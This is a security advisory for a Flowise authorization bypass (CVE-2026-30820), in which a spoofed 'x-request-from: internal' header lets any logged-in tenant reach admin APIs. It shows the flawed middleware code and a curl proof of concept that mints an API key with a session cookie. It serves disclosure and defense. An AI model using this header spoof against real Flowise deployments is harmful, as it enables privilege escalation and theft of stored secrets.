High

Flowise has Authorization Bypass via Spoofed x-request-from Header

  • Disclosed: 06.03.2026
  • Updated: 11.10.2026 10:22

Summary

Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.

Details

The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:

js
if (isWhitelisted) {
    next();
} else if (req.headers['x-request-from'] === 'internal') {
    verifyToken(req, res, next);
} else {
    const { isValid } = await validateAPIKey(req);
    if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
    … // owner context stitched from API key
}

Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.

PoC

  1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login).
  2. Invoke an internal-only endpoint with the spoofed header:
bash
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
The server returns HTTP 200 and the newly created key object.
  1. Remove the header and retry:
bash
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.

The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.

Impact

This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.0.13 3.0.13

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-863
Platform
npm
Package
flowise
Disclosed
06.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wvhq-wp8g-c7vq - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. High CVE-2026-46443 < 3.1.2 3.1.2
  7. High CVE-2026-56274 < 3.1.2 3.1.2
  8. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. High · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. High CVE-2026-41274 < 3.1.0 3.1.0
  11. High · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. High · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. High · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  19. High CVE-2026-30824 < 3.0.13 3.0.13
  20. High · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  21. High CVE-2026-30821 < 3.0.13 3.0.13
  22. Flowise has Authorization Bypass via Spoofed x-request-from Header this entry
    High CVE-2026-30820 < 3.0.13 3.0.13
  23. Critical · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  24. High · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  25. Critical · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 no fix
  26. High CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  27. Critical · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  28. Critical · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  29. Critical · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  30. High · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  31. Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
  32. Critical · 9.8 CVE-2025-8943 <= 3.0.5 no fix
  33. Critical · 10.0 CVE-2025-71338 <= 2.2.7 no fix
  34. Critical CVE-2025-71333 <= 2.2.7 no fix
  35. High CVE-2025-26319 <= 2.2.6 no fix
  36. High CVE-2024-58351 < 2.1.4 2.1.4
  37. High · 7.5 CVE-2024-8182 <= 1.8.2 no fix
  38. High · 7.3 CVE-2024-8181 <= 1.8.2 no fix
  39. High · 7.5 CVE-2024-36421 <= 1.4.3 no fix
  40. High · 7.5 CVE-2024-36420 <= 1.4.3 no fix
  41. High · 7.6 CVE-2024-31621 < 1.8.1 1.8.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.